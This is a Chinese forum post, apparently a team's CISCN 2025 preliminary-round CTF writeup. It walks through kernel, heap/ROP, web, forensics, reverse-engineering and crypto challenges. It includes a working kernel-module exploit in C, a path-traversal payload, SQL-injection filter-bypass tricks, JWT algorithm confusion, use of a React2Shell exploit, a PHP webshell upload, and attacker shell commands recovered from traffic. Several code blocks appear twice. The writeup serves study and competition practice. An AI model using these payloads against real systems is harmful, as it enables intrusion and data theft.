首页
社区
课程
招聘
[原创]CISCN-2025-初赛writeup NPUSEC
发表于: 5天前 2151

[原创]CISCN-2025-初赛writeup NPUSEC

5天前
2151

程序给了一个babydev.ko文件和eatFlag文件,一般来说babydev.ko文件就是存在漏洞的模块,查看init文件,发现将/proc/kallsyms拷贝到/tmp/coresysms.txt中,而且执行了/home/eatFlag文件

图片描述

结合模拟之后的环境没有flag,但是解压缩文件系统之后是存在flag的,猜测是这个/home/eatFlag程序给flag删除了,这里先不管,先去逆向babydev.ko文件中的dev_ioctl函数:

程序主要有五个分支来处理用户不同的请求

0x83170401:返回当前进程的PID

0x83170402:获取当前进程名(comm

0x83170403:获取当前缓冲区剩余空间

0x83170404:获取当前缓冲区有效长度

0x83170405:获取 global_buf 内核地址(用于KASLR 绕过)

可以通过下面的exp.c来测试功能:

图片描述

现的是字符设备的 seek(定位)操作,也就是用户态调用:lseek(fd, offset, SEEK_SET / SEEK_CUR / SEEK_END);

他根据 whencen2)决定新的文件指针:SEEK_SET (0):从头开始,SEEK_CUR (1):从当前偏移开始,SEEK_END (2):从文件末尾开始,最终实现计算当前“文件大小”:

实现的是标准的 read() 行为:将数据从内核缓冲区拷贝到用户态:

实现向一块 64KB 缓冲区写数据。这里的缓冲区位置有用户设置,但是注意到这里能够实现对global_buf + 0x10008)这里存储的数值的增大,最终相当于实现了global_buf大小虚拟扩大

图片描述

逆向eatFlag文件得到这个程序会将/flag文件内容读取到自己的堆内存中,之后删除flag文件:

图片描述

由于一开始 eatFlag/flag 读入过内存,那么在一段时间内,flag 的字节就一定真实存在于某些物理内存页中,结合上面的dev_write能扩大这里的global_buf的空间,所以我们直接爆搜内存去找flag就好,注意这里大概率不存在,得多试几次

脚本如下:

这道题目给了两个附件

图片描述

但是proxy直接IDA打开很显然是让人一头雾水,于是丢给了队伍的re手,给程序脱了个壳,脱壳后逆向如图。

图片描述

这道题目附件的大致用法:用户 → proxy → server

proxy:是一个前端代理/网关,进行流量转发,但在信息的转发过程中可能会有一些加密。

server:是一个后端服务,存在漏洞(如栈溢出、堆漏洞等)。

所以在连接远程时,用户只能给proxy发送信息,经过proxy的转发才可以和server进行交互。我们要首先弄清楚proxy内部的逻辑!

我认为这个函数是关键性函数

图片描述

这个函数内部的大致框架如下

也就是说proxy有四种情况:

关键函数中然后发现了程序会从config.txt中读取内容,解析其中的配置参数(n=d=),并将解析出的十六进制数值存储到全局变量中。

图片描述

图片描述

其中qword_7240 = strtoull(s1 + 2, 0, 16); // 将后面的字符串转为16进制数

qword_7240存储n

qword_7248 = strtoull(s1 + 2, 0, 16); // 同样转为16进制数

qword_7248存储d

接着看到了个感觉像是给信息加密的函数

图片描述

加密过程中利用了config.txt文件中的n和d,但是,这个config.txt文件在远端,我们不知道n和d,也就是说这个加密过程我们是不可观测的,所以传给server的信息流我们是不可预见的。

针对这个问题,有两种方法可以解决:

1.泄露远程的config.txt文件,精心对即将发送的信息流进行提前操作,使得发送过去的数据流是可控的。

2.覆盖远程的config.txt文件,使得之后每次的信息流加密操作形同虚设。

这两种方法我们显然选择后者。所以我们现在要寻找这个程序有没有对config.txt写入什么东西。翻找IDA时很容易看到这个函数:

图片描述

图片描述

这里把src的内容放进了config.txt文件中,我们进而可以控制config.txt

控制代码:

这样运行过后config.txt里的内容就成了

图片描述

在这个中,RSA解密挑战码,验证是否为"hack"的哈希,通过则返回cookie。

相关脚本代码

前32字节是cookie,后面是转发数据,需要验证cookie。

相关脚本代码

关键函数在此

图片描述

进去看一下

图片描述

但是我们进入backdoor中没啥用,有栈溢出但是没啥用,我们libcaddr没有。并且很明显看见下面有一个堆的增删改查,所以显然我们要先利用堆来泄露信息。

这里还有一个用户名检查

图片描述

asc_5010是检查标准,但是strcmp会遇到\x00结束,所以我们实际上只需要爆破三个字节的哈希值就可以了!爆破完得到用户名,然后经过一些简单逆向,分析出与server的交互格式

图片描述

图片描述

交互格式如下

但是,聪明的你也知道,这只是和server的交互格式,中间还需要经过proxy的检查,所以最终发送消息的格式为:

接下来就是对于2.31堆的简单泄露heapbase和libcbase,泄露结束之后,可以利用backdoor()中的栈溢出直接打rop链就好了,建议直接orw写出来,因为拿shell实际上是server被打,但咱们是接触不到的。

但有一点要注意以下,就是read和write的fd,因为这道题目涉及到许多文件的打开与关闭以及多个终端连接,所以fd并不是寻常值,具体可以通过调试之前的调用过的read、write函数的fd来判断。

本地测试

图片描述

脚本如下:

直接进入正题,这个题没开PIE,libc为2.31,可以找到大部分需要的gadget

图片描述

图片描述

禁用了execve和execveat

图片描述

图片描述

在sub_402D2D函数为一个路由注册结构,扫一眼,主要看setmode就行,里面有sub_402A40函数

图片描述

发现在切割拷贝输入的内容时能触发栈溢出,“=”前部分会检查是否为setmode,但是后半部分能拷贝覆盖栈。

图片描述

把客户端 socket fd 存进去,然后开启线程

图片描述

start_routine 是一个 多线程 HTTP 服务器中处理单个客户端连接的****主函数。内容比较多,只看主要部分:

接收并解析 HTTP 请求(方法、路径、Header、Body)

路由分发:GET → 静态文件服务;POST → 调用注册的 handler(如 /hello/setmode

图片描述

图片描述

图片描述

sub_40287D(haystack, "POST"):在路由表中查找匹配的 handler。

调用约定handler(fd, body, body_len)

在这里会调用setmode

在上面GET方法里面有一个sub_402663函数,这个函数没有限制路径,只需要控制rdi和rsi就可以控制该函数输出我们想要的flag

图片描述

尝试用一个线程,按照格式输入,覆盖返回地址,利用recv写入/flag字符串和后续rop,利用recv后面leave ret控制执行流到getflag,会发现程序卡死在snprintf里面

图片描述

vmmap一下,应该是地址不可写

图片描述

于是修改填入的bss区域(调试发现卡在f栈没对齐,稍微修改即可),得到下面exp

由于线程的特点,多个线程共用一个栈和bss等等,所以思路就是先用一个线程去写入/flag字符串,同时保持线程不崩溃,使得程序正常维持,这里使用再次回到recv等待接收的方法,等待我连接开启第二个线程,使用第一个线程写入的/flag字符串调用sub_402663函数,输出flag即可。

先运行下面准备接收脚本

再运行下面输出flag脚本

过滤了很多东西,但根据提示估计就是一个sql注入绕过

1'|| true是可以返回正确结果的,大胆猜测布尔盲注

防火墙 估计就是过滤了关键词,可以用mysql内敛特性绕过,例如 /*!50000KEYWORD*/,这里面可以被当成正常命令执行,其他的就是传统的布尔盲注就行了

新注册一个账号,进入feedback路由可看到其进行了数据库操作

可插入')--进行闭合与注入操作。我们尝试从users表下注出password列的第一条数据(即admin的密码)

布尔盲注出admin密码为qCYE7LtfJZId,登陆后我们可查看system.log,其中有JWT校验用公钥

图片描述

拿到公钥后,我们使用公钥重新加密JWT结构体,因为其代码中同时支持HS256和RS256

拿到伪造的JWT后我们重新进入路由,checkfile路由现在可利用了,但是存在后缀检测与路径穿越过滤,我们需要考虑绕过其限制读取到flag文件

payload为/checkfile?file=../../&file=../../&file=../../&file=../../&file=../../&file=../../&file=../../&file=../../&file=../../&file=../../../../../../../../flag.txt&file=.&file=log,因为构造file为数组后能绕过includes限制,通过slice对每个元素做切割后拼接reslove即可索引到flag文件。

图片描述

开启靶机观察界面,知为Next.js

图片描述

考虑到近期的React CVSS 10.0漏洞,我们翻出React2Shell EXP尝试扫描检测

ba4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6Z5j5h3y4C8k6i4u0K6j5i4c8&6j5h3#2J5j5i4y4@1L8$3N6A6i4K6u0r3M7X3g2S2j5%4b7J5M7$3S2W2L8r3I4Q4x3X3c8#2L8s2c8A6L8h3q4@1k6b7`.`.

扫描发现报vulnerable,直接获取shell拿下

图片描述

简单的反序列化

图片描述

链子串起来后file协议读取/flag即可

图片描述

弱密码admin/admin123登陆进去

题目提示是java,然后看到模板渲染,想到thymeleaf的spel注入

环境变量很好读,但是不知道flag叫什么(提示在根目录下)

File类可以反射调用,但是不能直接命令执行,可以用listRoots把目录文件列出来得到

flag

百度搜dedecms的漏洞,很多都只向后台/dede/login.php,但是不知道用户名密码

我们随便注册一个进去

图片描述

试了很多 Aa123456789/Aa123456789 成了

进入后台

图片描述

缩略图这里有个本地文件上传

这里传上去之后改后缀为php,然后输入一句话木马,把删了拼接后面的目录就能拿到flag

图片描述

获得flag

过滤HTTP协议,找最后一个POST请求login界面:

图片描述

flag{zxcvbnm123}

也是过滤http的POST请求,后面看到{{7*7}}与{{config}}操作,追踪流就能看到

图片描述

图片描述

flag{c6242af0-6891-4510-8432-e1cdf051f160}

图片描述

分析前面SSTI的内容,这一段大体意思是,

{{ url_for.globals['builtins']['exec'](

"import base64; exec(base64.b64decode('...第一段base64...'))",

{...}

)}}

用Jinja的对象链拿到python的exec,但是里面有字符串取反然后base64解码,然后zlib解压。后面很多层嵌套;拿代码还原,直到出现明文

图片描述

flag{v1p3r_5tr1k3_k3y}

用之前的RC4代码与密钥进行解密后面传输过来的data字段可以看到是在执行指令

图片描述

unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip

mv /tmp/shell /tmp/python3.13

chmod +x /tmp/python3.13

/tmp/python3.13

所以实体文件的名字就是

flag{python3.13}

导出压缩包

图片描述
逆向分析确定黑客通信的ip与端口ip.addr==192.168.1.201 && tcp.port==58782

找开始通信时的SM4交换的种子

图片描述

34 95 20 46

图片描述

通过ida分析可知秘钥为从C2发来的 4 字节进行随机种子生成,编写脚本求得flag

flag{f71d894505e855068da9b6397ebb2b70}

题目为godot编写的2D游戏,用专门软件dgre进行反编译

软件链接:gdsdecomp:Godot reverse engineering tools - AtomGit | GitCode

找到脚本文件先点进flag.gdc查看,很清晰的AES加密,但题目不会这么简单,同时提示说要吃掉所有金币才可以验证flag,那我们继续查看coin.gdc看看金币干了啥

图片描述

很明显调用了game_manager来触发加分机制,此时再去看game_manager.gdc

图片描述

很清晰,1分的时候把flag函数中的key中A改成B,解AES得到flag

图片描述

图片描述

一道很纯的web逆向题,打开html文件找调用关系,发现在检测端是将data序列化之后,通过MD5加密,并且检验前16字节是否一致来判断是否正确,那现在问题就是找data是啥了

图片描述

之前从没做过web逆向,仔细了解了一下wasm汇编发现js会向其中import传入数据同时要通过export传出数据回到js才可以完成调用链,此时随便输入账号密码就可查看release.js函数的关键传入传出函数,可以清晰的看到传入函数传入data.now函数即题目说到的时间戳

图片描述

通过软件ghidra(需下载插件ghidra_wasm)可以直接将web汇编转为可阅读文本,此时可以找到我们前面提到加密data的authenticate函数,发现真正逻辑藏在function_34中,点进函数查看

图片描述

结构一目了然了,31-47行对密码进行base64处理之后引入时间戳并转换成字符串之后对massage进行处理,处理结果为:message = {"username":…, "password": encodedPassword}然后下面是加密点,进行SHA256加密并存在signature,signature = HMAC-SHA256( message, timestamp(参与计算) ) 并转成可打印字符串,最后返回final = {"username":..., "password":..., "signature":...}

那现在就是找到"username" "password"并对时间戳进行爆破(题目中给出时间为2025.12.21之后一周)账号密码就在271行的备注里(一开始没注意能藏这

图片描述
一切都齐备了直接写脚本爆破即可,这边我写的

依旧web逆向,这次是流量逆向,wireshark查看流量包内容,发现全是TCP可靠传输数据,同时题目中告诉我们kworker向192.168.8.160:13337发起建立连接请求,所以kworker为客户端/木马类型,所以本体主要还是得看流量到底说了些啥再去逆向kworker,因此从流量抓起。

通过阅读流量发现是客户机向服务器发送一系列长度在64字节左右的数据,并且数据格式相当固定,前8位为魔数,后面紧跟一个len来表示最后紧跟的校验位的长度,然后紧跟密文内容,密文后就是校验位,如下如所示详细解释

图片描述

客户机发的第一段数据中可以看到,TCP协议规定前8位为ET3RNUMX为固定魔数,后面跟的0X34=52表示payload有52字节长,刚好与后面内容吻合信息内容确定,现在需要看kworker到底给服务端发了什么

图片描述

第一个思路,看IDA中字符找到关键点(比赛时用的),发现在字符串中找到这么一行文本

图片描述

题目中说的是AES-GCM加密,根据AES-GCM的特点,密文组成为12 nonce +密文+ 16 tag,其中tag位为校验位,我们正好可以利用这一点,将原文本转为二进制文件对key进行爆破,爆破成功与否只需要在手动做一次与tag的校验即可,由于16位的长度足够,理论上只要tag相同就可以确定爆破的key成功了,这时可以直接爆破了

先挂起一个跟题目条件一样的服务,方便后续kworker去连接

图片描述

启动kworker去连接这个服务,也就是通过这个服务我们可以在内存中找到kworker运行时派生出的key,将所有信息以二进制形式打印出来存到memdump_all.bin中,运行脚本爆破出key,有了key我们就可以得到flag了

图片描述

图片描述

题目中已经告诉我们私钥是sha512(b"Welcome to this challenge!").digest(),那直接写脚本出就行了,我这边每调用ecdsa库,调用库函数可以更简单一些

本来以为是逆向题,结果放到ida里动调直接跑死了,读了一下代码发现是斐波那契数列,同时题目给上了一个sleep函数,第一种方法直接修改源文件,可以在原计数器上加上一个mod24(因为斐波那契数列mod16的周期为24),也可以写脚本(更简单一点)

图片描述

图片描述

flag{10632674-1d219-09f29-147a2-760632674}

这个rsa还蛮有趣的,题目中给出了两个n的求值,分别为n=p*q*r*s;n1=p1*q1*r1*s1。本体突破口在于给出的平滑函数中,读题是做了相关笔记如下,由于求n的相关系数减1都会变为合数,而且合数的相关系数是p-1=p1*(2^1-2^20)所构成的一系列数,因此可以利用Pollard's p-1分解算法来求,虽然p1不是平滑数,但是p1是n1的因数,那么只需要多加个gcd即可爆破出p1的值,同理其他值也可爆破得出

图片描述

__int64 __fastcall dev_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
  const char *v4; // rax
  const void *src; // r12
  size_t v7; // rax
  _QWORD dest[2]; // [rsp+0h] [rbp-40h] BYREF
  __int64 v9; // [rsp+10h] [rbp-30h]
  __int64 v10; // [rsp+18h] [rbp-28h]
  __int64 global_buf_stack; // [rsp+20h] [rbp-20h]
  unsigned __int64 v12; // [rsp+28h] [rbp-18h]
 
  v12 = __readgsqword(0x28u);
  dest[0] = 0;
  v4 = *(const char **)(a1 + 200);
  dest[1] = 0;
  v9 = 0;
  v10 = 0;
  global_buf_stack = 0;
  if ( a2 == 0x83170403 )
  {
    HIDWORD(v9) = 0x10000 - *(_DWORD *)(global_buf + 0x10008);
    return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
  }
  if ( a2 <= 0x83170403 )
  {
    if ( a2 == 0x83170401 )
    {
      LODWORD(dest[0]) = *(_DWORD *)v4;
      return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
    }
    if ( a2 == 0x83170402 )
    {
      src = v4 + 4;
      v7 = strlen(v4 + 4);
      memcpy((char *)dest + 4, src, v7 + 1);
      return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
    }
  }
  else
  {
    if ( a2 == 0x83170404 )
    {
      LODWORD(v10) = *(_QWORD *)(global_buf + 65544) - *(_DWORD *)(global_buf + 0x10000);
      return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
    }
    if ( a2 == 0x83170405 )
    {
      global_buf_stack = global_buf;
      return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
    }
  }
  return -22;
}
__int64 __fastcall dev_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
  const char *v4; // rax
  const void *src; // r12
  size_t v7; // rax
  _QWORD dest[2]; // [rsp+0h] [rbp-40h] BYREF
  __int64 v9; // [rsp+10h] [rbp-30h]
  __int64 v10; // [rsp+18h] [rbp-28h]
  __int64 global_buf_stack; // [rsp+20h] [rbp-20h]
  unsigned __int64 v12; // [rsp+28h] [rbp-18h]
 
  v12 = __readgsqword(0x28u);
  dest[0] = 0;
  v4 = *(const char **)(a1 + 200);
  dest[1] = 0;
  v9 = 0;
  v10 = 0;
  global_buf_stack = 0;
  if ( a2 == 0x83170403 )
  {
    HIDWORD(v9) = 0x10000 - *(_DWORD *)(global_buf + 0x10008);
    return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
  }
  if ( a2 <= 0x83170403 )
  {
    if ( a2 == 0x83170401 )
    {
      LODWORD(dest[0]) = *(_DWORD *)v4;
      return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
    }
    if ( a2 == 0x83170402 )
    {
      src = v4 + 4;
      v7 = strlen(v4 + 4);
      memcpy((char *)dest + 4, src, v7 + 1);
      return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
    }
  }
  else
  {
    if ( a2 == 0x83170404 )
    {
      LODWORD(v10) = *(_QWORD *)(global_buf + 65544) - *(_DWORD *)(global_buf + 0x10000);
      return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
    }
    if ( a2 == 0x83170405 )
    {
      global_buf_stack = global_buf;
      return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL;
    }
  }
  return -22;
}
// gcc exploit.c -static -masm=intel -g -o exploit
#include "kpwn.h"
 
struct out {
        uint64_t dest[5];  
    };
 
int main() {
    save_status();
    int fd = open("/dev/noc", O_RDWR);
    if (fd < 0) {
        log_error("open /dev/noc failed");
        return -1;
    };
    struct out buffer;
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170401, &buffer);
    log_info("ioctl 0x83170401 leak: 0x%lx", (uint32_t)buffer.dest[0]);
 
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170402, &buffer);
    log_info("ioctl 0x83170402 leak: %s", (char*)(&buffer.dest[0])+4);
 
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170403, &buffer);
    log_info("ioctl 0x83170403 leak: %lx", (uint32_t)(buffer.dest[2]>>32));
 
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170404, &buffer);
    log_info("ioctl 0x83170404 leak: %lx", (uint32_t)buffer.dest[3]);
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170405, &buffer);
    log_info("ioctl 0x83170405 leak: 0x%lx", buffer.dest[4]);
    return 0;
}
// gcc exploit.c -static -masm=intel -g -o exploit
#include "kpwn.h"
 
struct out {
        uint64_t dest[5];  
    };
 
int main() {
    save_status();
    int fd = open("/dev/noc", O_RDWR);
    if (fd < 0) {
        log_error("open /dev/noc failed");
        return -1;
    };
    struct out buffer;
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170401, &buffer);
    log_info("ioctl 0x83170401 leak: 0x%lx", (uint32_t)buffer.dest[0]);
 
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170402, &buffer);
    log_info("ioctl 0x83170402 leak: %s", (char*)(&buffer.dest[0])+4);
 
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170403, &buffer);
    log_info("ioctl 0x83170403 leak: %lx", (uint32_t)(buffer.dest[2]>>32));
 
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170404, &buffer);
    log_info("ioctl 0x83170404 leak: %lx", (uint32_t)buffer.dest[3]);
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170405, &buffer);
    log_info("ioctl 0x83170405 leak: 0x%lx", buffer.dest[4]);
    return 0;
}
__int64 __fastcall dev_seek(__int64 a1, __int64 a2, int n2)
{
  __int64 v3; // rax
  __int64 result; // rax
  __int64 v5; // r8
 
  v3 = *(_QWORD *)(global_buf + 0x10008) - *(_QWORD *)(global_buf + 0x10000);
  if ( n2 == 1 )
  {
    v5 = *(_QWORD *)(a1 + 0x40) + a2;
    if ( v5 < 0 )
      return -22;
  }
  else
  {
    if ( n2 != 2 )
    {
      if ( !n2 && a2 >= 0 && v3 >= a2 )
      {
        v5 = a2;
        goto LABEL_7;
      }
      return -22;
    }
    v5 = v3 + a2;
    if ( v3 + a2 < 0 )
      return -22;
  }
  if ( v3 < v5 )
    return -22;
LABEL_7:
  *(_QWORD *)(a1 + 0x40) = v5;
  result = v5;
  *(_QWORD *)(a1 + 0xB8) = 0;
  return result;
}
__int64 __fastcall dev_seek(__int64 a1, __int64 a2, int n2)
{
  __int64 v3; // rax
  __int64 result; // rax
  __int64 v5; // r8
 
  v3 = *(_QWORD *)(global_buf + 0x10008) - *(_QWORD *)(global_buf + 0x10000);
  if ( n2 == 1 )
  {
    v5 = *(_QWORD *)(a1 + 0x40) + a2;
    if ( v5 < 0 )
      return -22;
  }
  else
  {
    if ( n2 != 2 )
    {
      if ( !n2 && a2 >= 0 && v3 >= a2 )
      {
        v5 = a2;
        goto LABEL_7;
      }
      return -22;
    }
    v5 = v3 + a2;
    if ( v3 + a2 < 0 )
      return -22;
  }
  if ( v3 < v5 )
    return -22;
LABEL_7:
  *(_QWORD *)(a1 + 0x40) = v5;
  result = v5;
  *(_QWORD *)(a1 + 0xB8) = 0;
  return result;
}
__int64 __fastcall dev_read(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4)
{
  __int64 v6; // rcx
  __int64 v7; // r8
  __int64 v8; // rdx
  __int64 v9; // rax
 
  v6 = *a4;
  v7 = 0;
  v8 = *(_QWORD *)(global_buf + 0x10000);
  v9 = *(_QWORD *)(global_buf + 65544) - v8;
  if ( v6 < v9 )
  {
    if ( v6 + n0x7FFFFFFF > v9 )
      n0x7FFFFFFF = v9 - v6;
    if ( n0x7FFFFFFF > 0x7FFFFFFF )
      BUG();
    if ( copy_to_user(a2, (_QWORD *)(v6 + v8 + global_buf), n0x7FFFFFFF) )
    {
      return -14;
    }
    else
    {
      *a4 += n0x7FFFFFFF;
      return n0x7FFFFFFF;
    }
  }
  return v7;
}
__int64 __fastcall dev_read(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4)
{
  __int64 v6; // rcx
  __int64 v7; // r8
  __int64 v8; // rdx
  __int64 v9; // rax
 
  v6 = *a4;
  v7 = 0;
  v8 = *(_QWORD *)(global_buf + 0x10000);
  v9 = *(_QWORD *)(global_buf + 65544) - v8;
  if ( v6 < v9 )
  {
    if ( v6 + n0x7FFFFFFF > v9 )
      n0x7FFFFFFF = v9 - v6;
    if ( n0x7FFFFFFF > 0x7FFFFFFF )
      BUG();
    if ( copy_to_user(a2, (_QWORD *)(v6 + v8 + global_buf), n0x7FFFFFFF) )
    {
      return -14;
    }
    else
    {
      *a4 += n0x7FFFFFFF;
      return n0x7FFFFFFF;
    }
  }
  return v7;
}
unsigned __int64 __fastcall dev_write(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4)
{
  __int64 v4; // rax
  unsigned __int64 n0x7FFFFFFF_1; // rbx
  __int64 global_buf; // rax
 
  v4 = *a4;
  n0x7FFFFFFF_1 = n0x7FFFFFFF;
  if ( *a4 > 0xFFFF && v4 >= *(_QWORD *)(global_buf + 65544) )
    return -105;
  if ( v4 + n0x7FFFFFFF > 0x10000 )
  {
    n0x7FFFFFFF_1 = (unsigned __int16)-*(_WORD *)a4;
  }
  else if ( n0x7FFFFFFF > 0x7FFFFFFF )
  {
    BUG();
  }
  if ( copy_from_user(v4 + *(_QWORD *)(global_buf + 0x10000) + global_buf, a2, n0x7FFFFFFF_1) )
    return -14;
  global_buf = global_buf;
  *a4 += n0x7FFFFFFF_1;
  *(_QWORD *)(global_buf + 65544) += n0x7FFFFFFF_1;
  return n0x7FFFFFFF_1;
}
unsigned __int64 __fastcall dev_write(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4)
{
  __int64 v4; // rax
  unsigned __int64 n0x7FFFFFFF_1; // rbx
  __int64 global_buf; // rax
 
  v4 = *a4;
  n0x7FFFFFFF_1 = n0x7FFFFFFF;
  if ( *a4 > 0xFFFF && v4 >= *(_QWORD *)(global_buf + 65544) )
    return -105;
  if ( v4 + n0x7FFFFFFF > 0x10000 )
  {
    n0x7FFFFFFF_1 = (unsigned __int16)-*(_WORD *)a4;
  }
  else if ( n0x7FFFFFFF > 0x7FFFFFFF )
  {
    BUG();
  }
  if ( copy_from_user(v4 + *(_QWORD *)(global_buf + 0x10000) + global_buf, a2, n0x7FFFFFFF_1) )
    return -14;
  global_buf = global_buf;
  *a4 += n0x7FFFFFFF_1;
  *(_QWORD *)(global_buf + 65544) += n0x7FFFFFFF_1;
  return n0x7FFFFFFF_1;
}
// gcc exploit.c -static -masm=intel -g -o exploit
//#include "kpwn.h"
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <ctype.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <semaphore.h>
#include <poll.h>
#include <sched.h>
 
#define SUCCESS_MSG(msg)    "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg)       "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg)      "\033[31m\033[1m" msg "\033[0m"
 
#define log_success(fmt, ...) \
    printf("\033[32m\033[1m[+] " fmt "\033[0m\n", ##__VA_ARGS__)
 
#define log_info(fmt, ...) \
    printf("\033[34m\033[1m[*] " fmt "\033[0m\n", ##__VA_ARGS__)
 
#define log_error(fmt, ...) \
    printf("\033[31m\033[1m[x] " fmt "\033[0m\n", ##__VA_ARGS__)
 
struct out {
        uint64_t dest[5];  
    };
 
unsigned char *findflag(unsigned char *buf, size_t len) {
    char flag_pattern[] = "flag{";
    unsigned char *addr = memmem(buf, len, flag_pattern, 5);
    if (addr) {
        for (size_t j = 0; j < 64 && (addr - buf + j) < len; j++) {
            if (addr[j] == '}') return addr;
        }
    }
    return NULL;
}
 
int main() {
    save_status();
    int fd = open("/dev/noc", O_RDWR);
    if (fd < 0) {
        log_error("open /dev/noc failed");
        return -1;
    };
    struct out buffer;
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170401, &buffer);
    log_info("ioctl 0x83170401 leak: 0x%lx", (uint32_t)buffer.dest[0]);
 
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170402, &buffer);
    log_info("ioctl 0x83170402 leak: %s", (char*)(&buffer.dest[0])+4);
 
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170403, &buffer);
    log_info("ioctl 0x83170403 leak: %lx", (uint32_t)(buffer.dest[2]>>32));
 
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170404, &buffer);
    log_info("ioctl 0x83170404 leak: %lx", (uint32_t)buffer.dest[3]);
 
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170405, &buffer);
    log_info("ioctl 0x83170405 leak: 0x%lx", buffer.dest[4]);
 
    char pl[0x10000];
    for (int i = 0; i < 2000; i++) {
        lseek(fd, 0, SEEK_SET);
        if (write(fd, pl, 0x10000) < 0)
        {
            log_error("write failed");
            break;
        }
    }
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170404, &buffer);
    log_info("the new length of global_buf is : %lx", (uint32_t)(buffer.dest[3]));
    uint32_t new_length = (uint32_t)buffer.dest[3];
 
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170403, &buffer);
    log_info("the remaining size of global_buf is : %lx", (uint32_t)(buffer.dest[2]>>32));
    uint32_t remaing_size = (uint32_t)(buffer.dest[2]>>32);
 
    char buf[4096];
    memset(buf, '\x00', 4096);
    size_t step = 4096;
    // 开始爆搜
    for(size_t offset = 0;offset<new_length;offset+=step){
 
        lseek(fd, offset, SEEK_SET);
        ssize_t n = read(fd, buf, step);
        if (n <= 0)
        {
            log_error("read failed");
            break;
        }
        // print_binary(buf, step);
        char *flag_ptr = findflag((unsigned char *)buf, step);
        if(flag_ptr)
        {
            print_binary(buf,step);
            log_success("Flag found: %s", flag_ptr);
            break;
        }
 
    }
 
    return 0;
}
// gcc exploit.c -static -masm=intel -g -o exploit
//#include "kpwn.h"
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <ctype.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <semaphore.h>
#include <poll.h>
#include <sched.h>
 
#define SUCCESS_MSG(msg)    "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg)       "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg)      "\033[31m\033[1m" msg "\033[0m"
 
#define log_success(fmt, ...) \
    printf("\033[32m\033[1m[+] " fmt "\033[0m\n", ##__VA_ARGS__)
 
#define log_info(fmt, ...) \
    printf("\033[34m\033[1m[*] " fmt "\033[0m\n", ##__VA_ARGS__)
 
#define log_error(fmt, ...) \
    printf("\033[31m\033[1m[x] " fmt "\033[0m\n", ##__VA_ARGS__)
 
struct out {
        uint64_t dest[5];  
    };
 
unsigned char *findflag(unsigned char *buf, size_t len) {
    char flag_pattern[] = "flag{";
    unsigned char *addr = memmem(buf, len, flag_pattern, 5);
    if (addr) {
        for (size_t j = 0; j < 64 && (addr - buf + j) < len; j++) {
            if (addr[j] == '}') return addr;
        }
    }
    return NULL;
}
 
int main() {
    save_status();
    int fd = open("/dev/noc", O_RDWR);
    if (fd < 0) {
        log_error("open /dev/noc failed");
        return -1;
    };
    struct out buffer;
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170401, &buffer);
